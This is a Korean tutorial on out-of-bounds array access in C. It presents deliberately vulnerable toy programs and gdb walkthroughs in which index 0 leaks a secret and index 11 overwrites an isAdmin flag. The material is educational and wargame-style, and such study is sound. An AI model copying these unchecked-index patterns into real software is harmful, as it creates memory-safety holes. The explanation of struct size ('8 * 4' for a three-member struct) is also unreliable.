배열의 크기 : 요소의 개수와 자료형의 크기를 곱한 것
배열의 참조 : 배열의 주소, 인덱스, 자료형의 크기를 이용하여 계산
배열 요소를 참조할 때, 인덱스 값이 음수이거나 배열의 길이를 벗어났을 때 발생합니다.
사용자가 인덱스 값을 임의로 설정하여 특정 오프셋에 있는 메모리 값을 참조하는 것을 말합니다.
// Name: oob.c
// Compile: gcc -o oob oob.c
#include <stdio.h>
int main() {
int arr[10];
printf("In Bound: \n");
printf("arr: %p\n", arr);
printf("arr[0]: %p\n\n", &arr[0]);
printf("Out of Bounds: \n");
printf("arr[-1]: %p\n", &arr[-1]);
printf("arr[100]: %p\n", &arr[100]);
return 0;
}
In Bound:
arr: 0x7ffff87d06b0
arr[0]: 0x7ffff87d06b0
Out of Bounds:
arr[-1]: 0x7ffff87d06ac
arr[100]: 0x7ffff87d0840
arr[-1]을 보면 인덱스 범위를 벗어났는 데도 해당 위치의 값을 잘 출력해줍니다.
// Name: oob_read.c
// Compile: gcc -o oob_read oob_read.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char secret[256];
int read_secret() {
FILE *fp;
if ((fp = fopen("secret.txt", "r")) == NULL) {
fprintf(stderr, "`secret.exe` does not exist");
return -1;
}
fgets(secret, sizeof(secret), fp);
fclose(fp);
return 0;
}
int main() {
char *docs[] = {"COMPANY INFORMATION", "MEMBER LIST", "MEMBER SALARY",
"COMMUNITY"};
char *secret_code = secret;
int idx;
// Read the secret file
if (read_secret() != 0) {
exit(-1);
}
// Exploit OOB to print the secret
puts("What do you want to read?");
for (int i = 0; i < 4; i++) {
printf("%d. %s\n", i + 1, docs[i]);
}
printf("> ");
scanf("%d", &idx);
if (idx > 4) {
printf("Detect out-of-bounds");
exit(-1);
}
puts(docs[idx - 1]);
return 0;
}
대충 secret.txt 파일을 만들어주고
$ vi secret.txt
gdb로 secret_code와 docs 사이의 offset 차이를 봐보면
0x0000000000000999 <+23>: lea rax,[rip+0x1bd] # 0xb5d
0x00000000000009a0 <+30>: mov QWORD PTR [rbp-0x30],rax
0x00000000000009a4 <+34>: lea rax,[rip+0x1c6] # 0xb71
0x00000000000009ab <+41>: mov QWORD PTR [rbp-0x28],rax
0x00000000000009af <+45>: lea rax,[rip+0x1c7] # 0xb7d
0x00000000000009b6 <+52>: mov QWORD PTR [rbp-0x20],rax
0x00000000000009ba <+56>: lea rax,[rip+0x1ca] # 0xb8b
0x00000000000009c1 <+63>: mov QWORD PTR [rbp-0x18],rax
0x00000000000009c5 <+67>: lea rax,[rip+0x200674] # 0x201040 <secret>
0x00000000000009cc <+74>: mov QWORD PTR [rbp-0x38],rax
0x8 차이 납니다.
입력받은 값에 -1 한 값을 인덱스로 배열에 접근하고 있으니 입력으로 0을 한번 넣어보면
gdb-peda$ r
Starting program: /home/ubuntu/wargame/oob_read
What do you want to read?
1. COMPANY INFORMATION
2. MEMBER LIST
3. MEMBER SALARY
4. COMMUNITY
> 0
Hello World~
secret_code 값이 출력되었습니다.
// Name: oob_write.c
// Compile: gcc -o oob_write oob_write.c
#include <stdio.h>
#include <stdlib.h>
struct Student {
long attending;
char *name;
long age;
};
struct Student stu[10];
int isAdmin;
int main() {
unsigned int idx;
// Exploit OOB to read the secret
puts("Who is present?");
printf("(1-10)> ");
scanf("%u", &idx);
stu[idx - 1].attending = 1;
if (isAdmin) printf("Access granted.\n");
return 0;
}
구조체의 크기는 가장 큰 타입의 크기 * 변수 개수 이기 때문에 Student 구조체의 크기는 8 * 4 해서 24 Byte입니다.
gdb-peda$ i var isAdmin
All variables matching regular expression "isAdmin":
Non-debugging symbols:
0x0000000008201130 isAdmin
gdb-peda$ i var stu
All variables matching regular expression "stu":
Non-debugging symbols:
0x0000000008201040 stu
gdb-peda$ print 0x8201130-8201040
$1 = 0x7a2ede0
gdb-peda$ print 0x8201130-0x8201040
$2 = 0xf0
isAdmin과 stu 사이의 거리를 보면 240 Byte 만큼 차이 납니다.
Student 구조체 크기가 24 Byte이기 때문에 10번째 인덱스를 참조하면 isAdmin 값을 조작할 수 있습니다.
해보면
gdb-peda$ r
Starting program: /home/ubuntu/wargame/oob_write
Who is present?
(1-10)> 11
Access granted.
[Inferior 1 (process 214) exited normally]
isAdmin 값이 조작되어 Access granted. 가 출력되었습니다.